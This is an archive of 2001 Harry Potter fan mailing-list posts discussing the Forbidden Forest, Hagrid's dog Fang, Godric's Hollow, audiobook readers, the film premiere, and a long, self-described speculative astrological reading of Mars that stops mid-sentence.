
>1) Do you 
>think the forest is as dangerous as it is implied? If not, why does 
>Dumbledore warn the students away from it? If so, how is it the 
>Weasley twins have come to no harm?
>
We know it's dangerous because of Aragog.  Perhaps Hagrid is largely successful in chasing F&G away.  Also, if you have, say, one chance in a hundred of being killed or badly hurt that makes it a very dangerous place - you would have several incidents a year with 1000 (canon!) students wandering in, but F&G could have gone in a few dozen times and only got reasonably lucky by not being hurt.

>2) Do you think it was responsible to send a group of first-year 
>students out to help search for something so powerful and evil 
>that it can kill unicorns - especially since they went out in two 
>groups, one of which consisted only of two students and Fang 
>(who, Hagrid warns, is a coward)? Do you think Dumbledore 
>was aware of all this? If so, why would he allow it?

It's not responsible.  But I think it came about this way:  Harry and Hermione got into trouble for helping out Hagrid.  Hagrid can't come clean because they would be in even worse trouble - not only messing about at midnight but carting a dragon about the school.  There might even be repercusssions for Charlie Weasley.  So he does the next best thing, and intervenes in their detention.  From Hagrid's POV, he's turning their punishment into a treat: not only do they get a night time guided tour of his favourite place, there is the additional thrill of an unknown creature attacking the unicorns.  He's not in a position to prevent Malfoy coming or exonerate Neville.  Dumbledorer may know but wouldn't overrule McGonagall and Hagrid over a detention.
>
>3) Do you think Hagrid's right when he says nothing in the forest 
>will hurt the students if they are with him or with Fang? Why 
>would this be so?

I think he's overconfident, even apart from the Voldemort factor.  We know Fang is not enough against Aragog.
>
>4) Why is it `especially' unsafe for Harry to be in the
>forest 'at this time,' as Firenze says? How much do you think the 
>centaurs - perhaps Firenze in particular - know about what is 
>stalking the unicorns?

I think Firenze has already worked out the logic he later explains to Harry.  See also the debate on Mars.
>
>5) Do you think Draco had any idea that the creature creeping up 
>to the dead unicorn was connected (literally) with Voldemort? Do 
>you think he reported the incident to his father? If so, what do you 
>think Lucius would have told him?

I doubt he would report it - it means mentioning detention, and as soon as Lucius started asking questions, it would be difficult to avoid presenting himself as a coward.  But Lucius would just tell him to forget all about it and keep out of trouble, as with the heir of Slytherin the following year.
>
>6) What other creature(s)s would you hope or expect to see in 
>the forest, in the next book?
>
A Lethifold would add a bit of suspense, even if they are supposed to be tropical.  When I read FB for the first time, it was the only beast where I thought that we're definitely going to meet one of those at some point (I totally missed the Crookshanks-Kneazle connection).

David







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From aiz24 at hotmail.com  Fri Sep  7 12:14:42 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Fri, 07 Sep 2001 12:14:42 -0000
Subject: MOVIE: Vanity Fair October Issue - Toothless Fang
Message-ID: <9nadni+ej4r@eGroups.com>

No: HPFGUIDX 25709

John wrote:

<hilarious desc. of Vanity Fair spread that makes it irresistible.  Is 
he in the pay of Conde Nast?>

>Hagrid appears to be wearing a dead animal. PETA, beware.

LOL!  I know moleskin is a kind of cloth, not a kind of fur, but 
whenever I read about Hagrid's moleskin coat I can't escape the 
thought that it really is made of rodent pelts.  Now, if I were in 
PETA, I would ask him conversationally, "how many moles did it take to 
make that coat, I wonder?"  (Answer:  about 6000.)

Nitpick:  I really really doubt the cover shot is a still from the 
movie.  Isn't it credited to Liebovitz like the rest of the spread? 

BTW, there's an interesting note on the Leaky Cauldron that Alan 
Rickman's starting a West End run of Private Lives and so is 
presumably doing his bits for CoS, which has begun filming, on his one 
day off/week (who says actors don't work hard?).  I just keep 
thinking, "Monday is Snape Day!"  

Also, as long as we're pitching magazines, this week's Entertainment 
Weekly features HP too.  I think we can expect announcements of this 
kind on a weekly basis from here on out.

To drag this thing back to canon:  

Ashley wrote:

>I always pictured Fang as more massive. He certainly doesn't look 
very frightening.

According to my dictionary boarhounds are typically (not necessarily) 
Great Danes, which are enormous but frankly, positively dopey-looking. 
 Since Hagrid names vicious hellhounds things like Fluffy, it stands 
to reason that the pet he names Fang is an old softie (reminds me of a 
hamster I once knew named Spike).  The only thing Hagrid ever says to 
indicate that Fang might actually have some ferocity in him is that 
he'd like to introduce Mrs. Norris to him sometime.  I'd bet that 
given the opportunity to eat a cat in one gulp, Fang would give her a 
sweet little nuzzle instead.  E.g.:

'Make yerselves at home,' said Hagrid, letting go of Fang, who bounded 
straight at Ron and started licking his ears.  Like Hagrid, Fang was 
clearly not as fierce as he looked.  PS/SS 8 (Would-be editor's note: 
 I would've deleted that second sentence, myself, but . . .) 

'I want Fang,' said Malfoy quickly, looking at Fang's long teeth.
'All right, but I warn yeh, he's a coward,' said Hagrid.  PS/SS 15

'Yeh can' take Dumbledore!' yelled Hagrid, making Fang the boarhound 
cower and whimper in his basket.  CoS 14

Fang yelped and tried to run, but got lodged in a tangle of thorns and 
yelped even louder.  CoS 15, when the FFA shows up--aren't dogs 
supposed to chase cars, not the other way around?

etc.

Amy Z

------------------------------------------------
 "I've told you before, Ron, keep your nose out 
 if you like it the shape it is.  Can't see why
 you would, but--"
                 -HP and the Goblet of Fire 
------------------------------------------------




From mindyatime at juno.com  Fri Sep  7 11:43:56 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Fri, 7 Sep 2001 07:43:56 -0400
Subject: Godric???
Message-ID: <20010907.081800.-3710299.18.mindyatime@juno.com>

No: HPFGUIDX 25710

Godric Gryffindor/Godric's Hollow...

Do I sense a pattern here?

Any guesses?


MINDY
Proud ListOwner of:  http://groups.yahoo.com/group/JewishMusic,
For JewishMusic Fans everywhere
and http://groups.yahoo.com/group/MiamiBoysChoir
For Demented MiamiBoysChoir Nuts like me

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From vderark at bccs.org  Fri Sep  7 12:58:58 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Fri, 07 Sep 2001 12:58:58 -0000
Subject: Godric???
In-Reply-To: <20010907.081800.-3710299.18.mindyatime@juno.com>
Message-ID: <9nagai+a7og@eGroups.com>

No: HPFGUIDX 25711

--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
wrote:
> Godric Gryffindor/Godric's Hollow...

Quite a few of our members have noticed this. You can read more about 
it here (from the Lexicon):

http://www.i2k.com/~svderark/lexicon/godrics_hollow.html

and here (from the FAQs):

http://www.i2k.com/~svderark/lexicon/faq/geography.html#Godric's

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From vderark at bccs.org  Fri Sep  7 13:02:08 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Fri, 07 Sep 2001 13:02:08 -0000
Subject: Godric??? - more information
In-Reply-To: <20010907.081800.-3710299.18.mindyatime@juno.com>
Message-ID: <9naggg+osj4@eGroups.com>

No: HPFGUIDX 25712

--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
wrote:
> Godric Gryffindor/Godric's Hollow...

You can also read about Godric Gryffindor here:

http://www.i2k.com/~svderark/lexicon/founders.html

I think that Godric Gryffindor's decendents live in and around 
Godric's Hollow and that Harry's paternal line, the now nearly-wiped-
out Potters, are the last heirs. 

I also like the suggestion that one of Harry's ancestors was Bowman 
Wright, the inventor of the Golden Snitch, and that it is the profits 
from this invention that gave Harry's father his fortune.

Steve




From cynthiaanncoe at home.com  Fri Sep  7 13:18:40 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 07 Sep 2001 13:18:40 -0000
Subject: AUDIO Books (in English)- comparative review
In-Reply-To: <MABBIOAJAKBIIEFEFANKGEPJCJAA.monika@darwin.inka.de>
Message-ID: <9nahfg+ev22@eGroups.com>

No: HPFGUIDX 25713

--- In HPforGrownups at y..., "Monika Huebner" <monika at d...> wrote:
;) He definitely
> does different voices for the characters, but maybe a bit less
> pronounced than Dale, what is just what I like about his 
performance.
> 

I haven't heard Frye, but I've listened to Dale all summer.  I have 
really enjoyed Dale's audio book readings.  What I've noticed about 
him is that he doesn't feel compelled to do a character's voice in a 
way that is consistent with the description in the text.  Voldemort 
is a good example of this -- V has a high, cold voice in the books, 
but Dale uses a low villian voice that is quite chilling.  His 
Crouch/Moody is really great -- it stands out because it sounds 
almost American to my ears, and is not a growl as described in GoF.  

I also liked the fact that Dale makes very clear distinctions in his 
voices for most characters.  Dale's Sirius is jaw-dropping in GoF -- 
extremely deep and slow, which BTW sounds different from the one in 
PoA (which reminded me of Sean Connery).  Dale's reading of the 
Unexpected Task still makes me laugh out loud -- he really captures 
the angst.  Dale's Dobby is perfect, his Hagrid is outstanding, his 
Dumbledore is really good, too.  His Vernon Dursley and Fudge 
couldn't sound more formal and pretentious.  The only character that 
I might have him do differently is Hermione. "Harr-eeeeeeeeee" felt 
like nails on a blackboard after a while.

Anyway, if you have a room to paint, a garage to clean, or an office 
to straighten, listening to the Dale books on tapes is highly 
recommended.

Cindy 
--------------
"I don't know what made me do it!" Ron gasped again.  "What was I 
playing at? There were people -- all around -- I've gone mad -- 
everyone watching!  I was just walking past her in the entrance hall -
- she was standing there talking to Diggory -- and it sort of came 
over me -- and I asked her!" <snip>
"She looked at me like I was a sea slug or something.  Didn't even 
answer.  And then -- I dunno -- I just sort of came to my senses and 
ran for it."  

GoF, The Unexpected Task.





From cynthiaanncoe at home.com  Fri Sep  7 14:19:17 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 07 Sep 2001 14:19:17 -0000
Subject: Mars
In-Reply-To: <3B982FBE.5C20FA2A@erols.com>
Message-ID: <9nal15+rqp4@eGroups.com>

No: HPFGUIDX 25714

--- In HPforGrownups at y..., Margaret Dean <margdean at e...> wrote:
> 
> Mars the planet was named after Mars the Roman god of war, who
> was most definitely a "he," so that's probably what Professor
> Trelawney is alluding to.  My guess is that the appearance
> (and/or brightness)  of the planet Mars indicates strife -- which
> is, after all, overwhelmingly likely under the circumstances.  We
> =know= there's a war coming up!
> 

Also, I believe Mars is called the "Red Planet."  So we can file this 
with all of the other discussion of house colors, the colors of 
various spells, and the color of Voldemort's eyes.

A few random factoids:  In mythology, as previously stated, Mars was 
the Roman god of war, and supposedly enjoyed war, conflict and 
mindless killing.  One of his twin sons was Remus (hopefully this 
means Lupin will be important in future books??).  The month of March 
was named after Mars, and the Romans considered it the month of 
wars.  So, Margaret, I think you're right.

Cindy
------
"Yeah," said Hagrid, "but have yeh seen anythin', Ronan?  Anythin' 
unusual?"
"Mars is bright tonight," Ronan repeated, while Hagrid watched him 
impatiently.  "Unusually bright."
"Yeah, but I was meanin' anythin' unusual a bit nearer home,"  said 
Hagrid.  PS/SS




From shall at sfiweb.demon.co.uk  Fri Sep  7 11:03:00 2001
From: shall at sfiweb.demon.co.uk (shall at sfiweb.demon.co.uk)
Date: Fri, 7 Sep 2001 12:03 +0100
Subject: [HPforGrownups] Re: Skeeters and Beatles
Message-ID: <E15fMdl-000KmG-0X@anchor-post-33.mail.demon.net>

No: HPFGUIDX 25715


>Wow, that's a great point about Rita and the Beatles!  :D

>I had been thinking more along the lines of just a general state 
of Bug-ness.  "Bugs" are also known to be a sort of slang term 
>for concealed microphones.  Rita's a bit like the fly on the wall, >
isn't she?

Also the literal meaning of "papparazzo" is a flying, stinging, biting insect.

Susan




From A.E.B.Bevan at open.ac.uk  Fri Sep  7 15:35:04 2001
From: A.E.B.Bevan at open.ac.uk (A.E.B.Bevan at open.ac.uk)
Date: Fri, 07 Sep 2001 15:35:04 -0000
Subject: MOVIE: world premier details
Message-ID: <9napf8+j55k@eGroups.com>

No: HPFGUIDX 25716

Hot off the airwaves from the BBC (Friday 7 Sept)

The hotly-anticipated Harry Potter movie will get its world premi?re 
in London on 4 November, it has been revealed. 

The screening, at the Odeon cinema in Leicester Square, is expected 
to attract a host of celebrities as well as the stars of the $125m 
(?86m) blockbuster, and will be followed by a glittering party. 

The film will go on public release in the UK and North America on 16 
November. 

see:
http://news.bbc.co.uk/hi/english/entertainment/film/newsid_1530000/153
0689.stm

(Mind the length of the URL)

So.. the reviews should be out on 5 November....

Edis








From captain_debrowe at yahoo.com  Fri Sep  7 16:13:58 2001
From: captain_debrowe at yahoo.com (Danette Schardt-Cordova)
Date: Fri, 7 Sep 2001 09:13:58 -0700 (PDT)
Subject: [HPforGrownups]Magical and Astrological Meaning of Mars(very long) was Mars 
In-Reply-To: <9nal15+rqp4@eGroups.com>
Message-ID: <20010907161358.94788.qmail@web14406.mail.yahoo.com>

No: HPFGUIDX 25717

Okay I guess I'll stick my two knuts in.  :: hauls out
her big book of Magical, Mystical and Mythological
Knowledge ::  This is very long and as with all New
Age information speculative.

Mars

ARIES: Aries is associated with the element of fire,
yang energy, positive polarity, the planet Mars, the
head, Tuesday, the numbers one and nine, diamonds, the
color red, all thorn-bearing trees, iron, sheep, and
rams.   (And for those who are wondering yes Aries is
named for the Greek version of the God Ares)

Mars, in Roman religion and mythology, god of war. In
early Roman times he was a god of agriculture, but in
later religion (when he was identified with the Greek
Ares) he was primarily associated with war. Mars was
the father of Romulus, the founder of the Roman
nation, and, next to Jupiter, he enjoyed the highest
position in Roman religion. The Salii, his priests,
honored him by dancing in full armor in the Campus
Martius, the site of his altar. Chariot races and the
sacrifice of animals were primary features of the
festivals held in his honor in March (named for him)
and October. Mars was represented as an armed warrior.
His attributes include the spear and shield, and the
wolf and woodpecker were sacred to him. He was
frequently associated with Bellona, the Roman goddess
of war.

Mars: Warrior Energy

Mars is the first planet on the far side of the earth
from the sun, and so is known as a 'superior' planet.
It has a very eccentric orbit, and can pass as close
to the Sun as 129 million miles, or as far away as 142
million miles. It circles the Sun every 687 days.

The planet Mars is associated with the Greek God Ares,
fortunate in war but unfortunate in love. Mars was
originally a God of farming; however he is better
known as the God of War to whom Roman soldiers paid
tribute before going off to do battle. The planet's
astrological association is with Aries, which it
rules. Mars is concerned with the masculine side of an
individual's nature, with the muscular system and with
aggression. Strongly sexual, it can make one
aggressive as well as decisive; hasty and rude as well
as positive and energetic.

Mars influences our physical energy levels,
assertiveness, competitiveness and sex drives. Mars
also shows how easily we are roused to anger, and it
governs the flow of adrenaline through our bodies.

Mars Through the Signs

Because Mars' orbit is further from the Sun than that
of the earth, it can fall in any sign of the zodiac,
unlike Mercury and Venus which are always quite near
the Sun's position. 

MARS IN ARIES: Aries is the sign that Mars rules, and
when in this sign, Mars becomes a strong focal point
of the chart. It bestows a powerful physical energy
level which must be positively expressed. If there is
no physical outlet, such as sport or other demanding
activity, then the system will stagnate, leaving this
person to become restless and unfulfilled. The need to
win and to be first is very important, and there is
certainly no lack of drive. However, if Mars makes any
aspect to Saturn or negative aspects to Uranus or
Pluto these will inhibit the flow of energy.

This individual is very much the 'get-up-and-go' type
who will encourage loved ones to take bold, assertive
action. However, there is also a lack of consideration
for other people's feelings. Tact and sensitivity need
to be found elsewhere in the chart, otherwise there
can be problems. The sex drive here is powerful, and
there is strong emotional passion too, but this is
simple and straightforward rather than seething or
smouldering.   This person is usually essentially
uncomplicated - what you see is what you get.
Headaches occur often, as do outbursts of Martian
anger - a rapid loss of temper that is over almost as
soon as it has begun. Resentfulness is not usual, and
this person does not bear a grudge.

MARS IN TAURUS: This placing provides plenty of
passion and an abundant sex drive, expressed with
Taurean warmth. Here is a sensual lover, albeit a
possessive one. Once anger is aroused, this person
does fly into a real rage - the only blessing is that
he doesn't lose his temper without severe provocation.
At is best, this placing adds determination, firmness
and the ability to work hard and tenaciously - both at
the career and at spare time interests. Mars will
definitely increase stubbornness if other areas of the
chart show it. In any chart dominated by earth signs,
the more adventurous side of Mars is toned down, so it
is important to look out for a tendency to get stuck
in a rut. A great deal of energy will be used in
making (and spending!) money.

This is a marvellous placing for those who participate
in heavier team sports or the heavier sports in
general - boxing, wrestling or weight-lifting, for
instance. This is also a good strong placing for a
dancer, since discipline, strength and routine are
essential for that profession. Health-wise, there may
be a tendency towards feverishness and a vulnerability
to throat infections.

MARS IN GEMINI: This placing stimulates the mind,
although it is not physically invigorating. It is
important for this person to exercise the body as well
as the mind, but the willpower to do so is not always
present. Most forms of exercise will be deemed boring
- but without it, restlessness builds up, bringing a
sharp temper and irritability with others and with
self. Energy with this placing may also be wasted
through too many changes of direction, both in life in
general and on a day to day basis. This obviously
leads to feelings of dissatisfaction.

However, a strong element of versatility is a positive
thing, and the key with this placing is to remember
that a change is as good as and often better than a
rest. Arms and hands are vulnerable, and so this
person really should remember to wear protective
clothing whenever carrying out a job or hobby that
might require it. Here is a lively and experimental
sexual partner who is likely to have a rewarding sex
life from an early age right into old age. The
attitude towards sex will be light-hearted - it is
fun, and to be enjoyed. This placing tends to take
some of the steamy passion out of the romance, but
energy and athleticism nevertheless keep a smile on a
lover's face!

MARS IN CANCER: The energy of Mars is expressed
emotionally and passionately in this sign. There will
be physical stress and tension if Mars receives
negative aspects from the Moon, Sun or Uranus. There
is great tenacity, and any project is seen through to
the bitter end. The love and sex lives are powerful,
making a very sensuous and caring lover. However, this
person sometimes creates a rather claustrophobic
atmosphere by working too hard at the relationship.
The temper is short, with some very harsh and cruel
remarks being hurled in moments of anger. Also, Cancer
can be resentful, and finds it hard to erase bad
memories, so this person often bears a grudge. Family
life is of great importance, and usually this person
wants plenty of children. 

The best forms of exercise for someone with this
placing is watersports. It is important for the
subject to learn to talk through problems freely,
especially when upset or annoyed - otherwise, feelings
get bottled up. The worry will not help anyone's
health, and besides, once the subject can take no more
the explosion of anger is often very disturbing to
loved ones.

MARS IN LEO: The fiery enthusiasm, energy and
assertiveness of Mars are well placed in Leo, and this
placing also gives excellent leadership ability and
business flair. However, this person must guard
against becoming too pushy, especially against people
who feel rather more fragile than themselves. The
emotions here are positively increased and there is a
great love of life, with special pleasure gained from
helping others to enjoy themselves. The sex life will
be rewarding and colourful. There is usually a sense
of drama too, and while this can be fun, it must be
controlled, as a tendency to exaggerate and show off
can become bombastic at times. There is also a genuine
hatred of small-mindedness and petty behaviour. A
quick temper is present, but things are forgiven and
forgotten quickly.

A passion for art and creativity is common with this
placing, and there is often an unusual flair for
colour. Health-wise, this placing is marvellously
invigorating, adding a certain robustness to the
health. The spine should be looked after carefully,
and attention paid to posture. Steady exercise is
always good, whatever the age of this individual.
Dancing may be a particularly enjoyable form of
exercise.

MARS IN VIRGO: This person is primarily a hard and
willing worker. In order to counter tension, Mars
needs positive aspects from the Sun, Moon, Mercury or
Venus, since the Virgo influence on the Martian energy
is inclined to frustrate it somewhat, possibly making
this individual edgy and nervous or restless. Should
Mars receive negative aspects from Uranus or the Sun,
the ability to relax may be non-existent, leading to
headaches and stress related problems. Skin allergies,
either as a result of an unacceptable diet or as a
result of stress may occur.

On the positive side, this individual works hard, and
although I would hesitate to say they are patient,
they are able to work in a detailed and constructive
manner. The passion of Mars is reduced, and whilst
this person may have strong feelings on various
subjects, the Martian influence on the sex life can be
uneasy, because Mars and Virgo are not really happy
bed-fellows. The discrimination of Virgo versus the
sexual needs of  Mars can clash, so help from Venus is
needed if the sex life is to be fully enjoyed. Secret
ambitions are sometimes nurtured in this placing, but
a lack of self-confidence can hinder achievement.
Emotional tension can be relieved by relaxation,
especially yoga. Ingenuity is a great talent of this
placing, but too much attention to detail with a poor
grasp of the overall picture may cramp the style.
Positive aspects from Jupiter can help to lighten the
overall influence of this placing.

MARS IN LIBRA: The need for love, harmony and a good
relationship are spiced by an increased sexuality with
this placing. Even so, the Martian energy is not at
its best in Libra, since although sometimes this
person is energetic, a lot of the time the attitude
may be 'I can't be bothered'.  The willpower is
reduced, and there is less inclination to use physical
energy. However, Mars will certainly stimulate Libran
sexuality, and this will enhance the natural Libran
love of romance. The inclination here is to fall in
love at first sight, and as a result, this individual
may learn the lessons of love the hard way. Help from
the Moon and Saturn to steady the emotions would ease
this situation.

This person has good perception combined with
considerable intuition, and should be encouraged to
develop these qualities. He or she tends to quarrel
very easily, and can overdo things in being verbally
aggressive to loved ones. Slight kidney upsets may
cause frequent headaches. On the other hand, this is a
placing notorious for having headaches as an excuse to
avoid sex! On the whole, exercise is not popular with
this individual, unless there is a strong social
element to it.

MARS IN SCORPIO: This placing will be the focal point
of the natal chart, since Mars was the ruler of
Scorpio before Pluto was discovered. The heavy emotion
of Scorpio is intensified by the passion of Mars, and
it is essential that someone with this placing finds
an outlet for rewarding sexual expression. If this is
not forthcoming, there will be genuine frustration and
resentment and a brooding unhappiness.

There is marvellous potential in this placing, and if
the emotions are allowed to flow freely through all
spheres of life, we find brilliant engineers with this
placing, as well as miners, specialists in the wine
trade and many other 'typical' professions. On the
negative side, jealousy can be a real problem, and
often this person shows vengeful tendencies. There is
a love of good food, and in general just a love of
living it up. This person tends to do nothing by half
measures. However, they can be very secretive, and it
is important that they try to talk through any
problems instead of bottling them up inside. Emotional
involvement in a career is essential, because while
money-making is important to this placing, a sense of
satisfaction is more important. Heavy exercise and
martial arts are ideal outlets for the huge amount of
physical energy that Mars gives this placing. Water
sports are also very popular.

MARS IN SAGITTARIUS: While this is a lively and
exciting placing for Mars, it does increase the
physical energy so much that it is absolutely
essential that some form of exercise is followed.
Restlessness is very likely. Intellectual energy is
also heightened, and this person enjoys challenges of
the mind as much as challenges of the body. There is
huge breadth of vision, with innovative ideas on a
whole host of subjects. Providing staying power and
determination are shown in other areas of the chart,
these ideas will be acted on and more often than not
brought to fruition - but the individual must always
be aware of their tendency to just get bored and to
give up half way. Sometimes this person feels that the
grass is greener elsewhere, and needs to be encouraged
to look at the positive thing in their own life. Risk
taking is enjoyed, as is gambling, especially at
sporting events.

If leanings towards the unconventional are shown in
other areas of the chart, this placing will increase
them, because Mars likes to be noticed. Anything new
and different will attract, and this person may enjoy
deliberately shocking more conservative types.
Versatility is an asset, but needs to be controlled,
else he or she will constantly flit between projects,
never giving full attention to any of them.  The
liking for excitement - even danger - can make this
individual vulnerable to accidents. Extreme sports
attract them, and if all the safety precautions are
followed, the Martian energy burns brightly as it is
expressed in this way. Above all, this person must
take care not to scatter his considerable energies too
thinly.

MARS IN CAPRICORN: Mars is strongly placed here.
Increased ambitions are indicated, and this person is
well able to achieve their objectives. The powers of
endurance are also increased, allowing this individual
to cope in physically demanding situations. If this
individual has a dangerous profession, the risks are
reduced for him, thanks to the watchful eye of Mars
operating from this position.  As far as exercise is
concerned, the endurance powers lend themselves to
those who want to swim or run long distances, as well
as those who enjoy climbing.

The Martian preoccupation with being first is usually
expressed through the career, especially if ambition
is shown in other areas of the chart too. This
individual is highly motivated for success, and there
is often a liking for power. Here is someone who could
be a self-made business man or woman, or who can
spring from humble beginnings to acclaim and fame.  It
is important for this person to recognise the risks of
being too ambitious, and care must be taken not to
sacrifice family and love relationships in favour of
the career. This is particularly likely if Mars
receives negative aspects from Uranus. This person
takes sex very seriously, giving great consideration
to the choice of partner before making the first move.

MARS IN AQUARIUS: The independence and need for
freedom so often associated with Aquarius is very much
evident again in this placing. There is a decidedly
unconventional streak, and maybe a touch of
'zany-ness'. Although this can be very endearing, it
can also be embarrassing in, say, a professional
situation. There is a lot of stubbornness here, and
the Martian energy is not evenly used - there will be
great bursts of activity, followed by long periods of
quiet.

If Mars receives negative aspects from Uranus or the
Moon, then considerable nervous strain and tension is
likely, which must be released, preferably through an
activity that harmonises the mind and body, such as
yoga. The pioneering spirit of Mars combines well with
the humanitarian qualities of Aquarius to spur this
person to do much about suffering, including perhaps a
certain amount of direct or field work in places where
help is needed.  There is no very highly charged
emotional level here, and whilst this subject
certainly enjoys sex, the need for freedom usually
delays commitment. Considerable originality, even
brilliance, may be expressed through scientific
experimentation, inventiveness, or simply a deep
interest in 'offbeat' subjects.

MARS IN PISCES: This placing considerably raises the
emotional levels, sometimes to a veritable torrent.
This is a very sensual and passionate lover who will
make great sacrifices for love - sometimes too many
sacrifices. Alternatively, they may sacrifice love
itself, in order to follow a vocations or to look
after an elderly or ill relative. Sexual desires are
considerable, and should be expressed imaginatively.
However, this placing needs help from practical
planets like Saturn, otherwise the individual may well
be rather muddled and confused. There can also be
indecision, and a refusal to face up to reality. Great
care is needed that during stressful times this person
does not turn to drugs or alcohol as an easy fix.

This placing emphasises a very colourful imagination,
which should be used creatively - there is great
potential here. However, neither assertiveness nor
self-confidence are high, and as such the subject may
be reluctant to develop his or her talents without
considerable encouragement from loved ones. The
physical energy of Mars does not come through
particularly powerfully with this placing, and
therefore heavy exercise is not necessarily
beneficial. However, skating, dancing or some other
aesthetically pleasing form of exercise would be.
Gullibility, secretiveness and sometimes
self-deception are also present.

 

Mars through the Houses

Mars' action is to energise, and it will have that
effect on the affairs of the house it occupies in the
birth chart. The individual will expend considerable
energy on that sphere of life, but in the manner
suggested by the sign in which Mars falls. It is
important to decide whether the energies will be
expressed positively or aggressively, which may be
indicated by the aspects that Mars receives from other
planets.

MARS IN 1ST HOUSE: Since this is the Aries house, Mars
here will dominate the chart. The physical energies of
Mars will invigorate the ascendant sign, and this
individual has tremendous will power and a desire to
win at all costs. An air of constant rush surround
this person, who always has to be doing something. He
has little patience for those slower than himself, and
does not suffer fools gladly. There is considerable
competitiveness, and a love of challenge. However, the
self-centeredness of Mars can be a problem in this
placing.

Bravery and daring are also common, and going all out
for something in a really pioneering way is typical of
this placing. Good vitality generally accompanies this
individual's considerable energy levels, but undue
haste and carelessness can lead to accidents. This
person can generate much enthusiasm and motivation in
himself and others, but must take care not to burn
himself out through over-activity.

MARS IN 2ND HOUSE: Here the Martian energy is directed
towards the acquisition of possessions and wealth.
However, this person is also a big spender who wants
to enjoy the cash he has earned, and wants others to
enjoy it too. Whether capital is acquired through
sheer hard work, clever investment or careful
financial dealing will depend on the Mars sign. The
emotions are also intensified by this placing, and
will be expressed passionately and sensually.
Determination together with strong physical resources
make this a placing that thrives on opposition. The
temper erupts rarely, but very fiercely.

MARS IN 3RD HOUSE: Very often this individual will
have enjoyed his or her school days, and always has
something of the eternal student about them. Extremely
competitive, especially in sport, this person
nonetheless enjoys mental challenges too. An
argumentative tendency is often present, and heated
debates will bring much pleasure. If this person has a
pet issue, they will do all they can using their
excellent communication skills to inspire others to
join them in taking action. Inquisitiveness is also
common, as is a lack of patience. There is also a
tendency to take a rather warrior like stance in
defence of the family, particularly brothers and
sisters.

MARS IN 4TH HOUSE: A great deal of Martian energy here
is spent on improving and decorating the home. Some
people with this placing periodically become bored
with their home, and enjoy moving many times. Family
life is full of enthusiasm with this placing, and
parenthood is usually welcomed. The home is seen as a
place of security, and much time will be spent just
enjoying being there. This person is often very
protective of their parents and the older generation.

MARS IN 5TH HOUSE: An extremely active love life is
likely with this placing, with an additional emphasis
on sexual pleasure. This individual is an assertive
lover, and passion is shown in a very positive way.
This subject loves children, whether their own or
other people's, and can be a huge inspiration to them.
An inclination for risk taking may well be evident,
with something of a gambling spirit. A colourful flair
is added to any creativity shown elsewhere in the
chart, but there is not much patience for the finer
points of art. Enthusiasm and energy are poured into
any interest, creative or otherwise. This is also an
excellent placing for sporting activities, as it is
another house which encourages competitiveness.

MARS IN 6TH HOUSE: If there is no indication of
nervous tension anywhere else in the chart, and Mars
is free from negative aspects from the Moon and
Uranus, then this placing can help to invigorate the
nervous system and gives a sharply critical, incisive
attitude. On a more physical level, this person could
suffer from skin complains brought on by stress or
nervous tension. Here is someone who is one of the
world's workers, and whilst there is little patience
with dreary routine, he or she is energetically
disciplined and aims to carry out the daily round of
work with military precision. The assertive side of
Mars is not so noticeable here, but a willingness to
serve and to be helpful will be. There is a tendency
to nag when annoyed.

MARS IN 7TH HOUSE: Much positive energy will be
directed towards this person's partnerships, and there
is a lot of will power to make relationships work.
Sometimes, an individual with this placing pushes and
encourages their partner to prominence but at their
own detriment. If the harsher, more quarrelsome side
of Mars is controlled, then this placing is helpful
not only for couples who live together but also for
those who work together, since their joint objectives
are energised by Mars. The connection between Mars and
sexual activity is so strong that it may seem that sex
will dominate any romantic relationship. There is,
however, room for romance and compassion, which will
keep the relationship warm, alive and thriving.

MARS IN 8TH HOUSE: This is the Scorpio house, and
before Pluto was discovered Mars was the ruler of
Scorpio, so this is a powerful placing. An extremely
strong sex drive will be present, and will be
expressed with intensity. There is a fascination with
investigation, and also with self-knowledge. This
usually works out well, but there can be a tendency
towards obsessive behaviour. The choice of career can
often be influenced by this placing, with many
subjects choosing surgery, psychiatry, police or
detective work. There is a deep and abiding interest
in big business and high finance, with a keen,
positive attitude towards investment. The intuition is
increased by this placing, and will be especially well
tuned when it comes to assessing both love and money.
There can be an above average preoccupation with death
and esoteric matters. Occasionally, this placing my
stimulate psychic ability.

MARS IN 9TH HOUSE: Provided the subject shows good
intellectual potential, then this placing will
encourage involvement in and excitement with
intellectual challenge. Further and adult education
will be especially enjoyable. An adventurous spirit
flows through this individual, who will - or would
like to - travel to the ends of the earth, just to see
what is there. Generally there is a ready acceptance
of all kinds of challenge, and a great deal of
bravery.  Restlessness is common, especially if plans
are thwarted. Relaxation techniques encourage what is
already a very philosophical outlook in life.

MARS IN 10TH HOUSE: This placing makes the subject a
force to be reckoned with in his professional life.
The ability to work hard and to achieve objectives is
extremely important, and the possibility of success is
high. This person seems to have a constant sense of
urgency, and would do well to slow down sometimes and
take in some detail. A tendency to argue and to be
quarrelsome is common, especially if Mars receives
negative aspects from Uranus. A strong desire for
worldly progress inspires this person into taking
action each day and every day.

MARS IN 11TH HOUSE: The pioneering spirit of Mars
placed here makes its influence felt in the subject's
social life. Here is the pack leader amongst a group
of friends, spurring them into action and injecting
them with energy and enthusiasm. Friendship is of high
importance to this person, but the aggressive and
argumentative side of Mars means that many friendships
will go through regular rocky patches. The
humanitarian side of the 11th house is very prominent,
and this person is very easily moved by suffering -
and prompted to do something positive about it. The
emotional level of Mars, so fervently expressed
towards the individual's beliefs and hobbies, could be
a little on the cool side to loved ones. This is
because the need for independence adds a certain
detachment to this person, damping down the warm
expression of feelings that do exist.

MARS IN 12TH HOUSE: This individual is rather
secretive, and it is difficult for him to talk to
sympathetic friends or even counsellors. There is a
colourful fantasy life, and this person's emotional
levels are heightened. An identification with human
suffering is one of the best qualities of this
placing, although a tendency to take on other people's
problems can leave the subject so exhausted that he
has not time for his own. This is an excellent
position for someone involved in the caring
professions, adding sympathy and empathy to the
otherwise somewhat brash Martian qualities.

Fifty points for your House if you endured it all the
